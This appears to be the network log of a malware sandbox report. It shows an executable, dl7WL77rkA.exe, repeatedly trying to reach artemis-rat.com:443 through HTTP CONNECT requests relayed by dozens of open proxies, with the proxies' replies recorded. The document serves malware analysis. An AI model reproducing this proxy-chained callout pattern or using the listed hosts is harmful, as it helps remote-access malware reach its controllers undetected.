Mar 11, 2024 03:30:50.895245075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2133	192.168.2.5	52889	173.212.209.216	27138	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.901482105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905106068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.921634912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.010822058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2134	192.168.2.5	54999	31.148.7.130	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.904371023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2135	192.168.2.5	54981	201.149.127.22	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.904512882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.273437977 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:31:01 GMT Expires: Mon, 11 Mar 2024 02:31:01 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2136	192.168.2.5	55089	61.7.149.4	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.945147038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.381443977 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2137	192.168.2.5	54914	117.160.250.163	9990	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.945147038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.701975107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.592717886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.270524025 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:30:59.269891977 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:31:05.269589901 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:31:17.269341946 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:31:41.270391941 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:32:29.271441936 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2138	192.168.2.5	51350	142.54.237.34	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.945194960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2139	192.168.2.5	52875	202.74.48.66	1088	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.945312023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2140	192.168.2.5	52992	91.142.222.84	57041	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.066212893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2141	192.168.2.5	53018	92.205.110.47	17158	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.112971067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2142	192.168.2.5	53034	91.229.28.105	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.128144026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2143	192.168.2.5	55154	38.54.16.97	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.129633904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.484189987 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 02:30:51 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2144	192.168.2.5	55152	188.255.220.110	6666	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.129906893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.561959982 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 719 Content-Type: text/html Date: Wed, 14 Feb 2024 22:22:06 GMT Expires: Wed, 14 Feb 2024 22:22:06 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2145	192.168.2.5	52997	213.165.168.190	9898	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.134079933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2146	192.168.2.5	54977	51.155.10.0	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.142860889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2147	192.168.2.5	53156	74.208.12.35	43100	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.156254053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2148	192.168.2.5	53141	167.99.236.14	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.172750950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.202070951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.217277050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.217505932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2149	192.168.2.5	53160	92.204.135.37	20491	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.173943996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2150	192.168.2.5	55040	72.195.34.59	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.178560972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2151	192.168.2.5	55285	45.67.210.47	3389	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.186553955 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.
Mar 11, 2024 03:30:51.353976011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2152	192.168.2.5	53238	186.46.34.20	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.218446016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.624736071 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2153	192.168.2.5	53260	178.33.163.156	7579	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.218508005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.389256001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.405328989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.405430079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2154	192.168.2.5	53253	200.39.154.1	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.218724012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2155	192.168.2.5	53221	146.59.18.246	40975	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.218945026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.389271021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.405328989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2156	192.168.2.5	53072	185.189.100.200	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.223484039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.615470886 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 715 Content-Type: text/html Date: Mon, 11 Mar 2024 02:30:39 GMT Expires: Mon, 11 Mar 2024 02:30:39 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2157	192.168.2.5	51512	64.56.150.102	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.223490953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2158	192.168.2.5	55168	14.241.203.46	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.259402990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2159	192.168.2.5	55337	70.166.167.55	57745	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.259579897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2160	192.168.2.5	53346	38.41.53.149	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.262116909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.623689890 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2161	192.168.2.5	53246	41.57.6.30	6060	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.265206099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2162	192.168.2.5	55002	185.5.209.101	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.273366928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
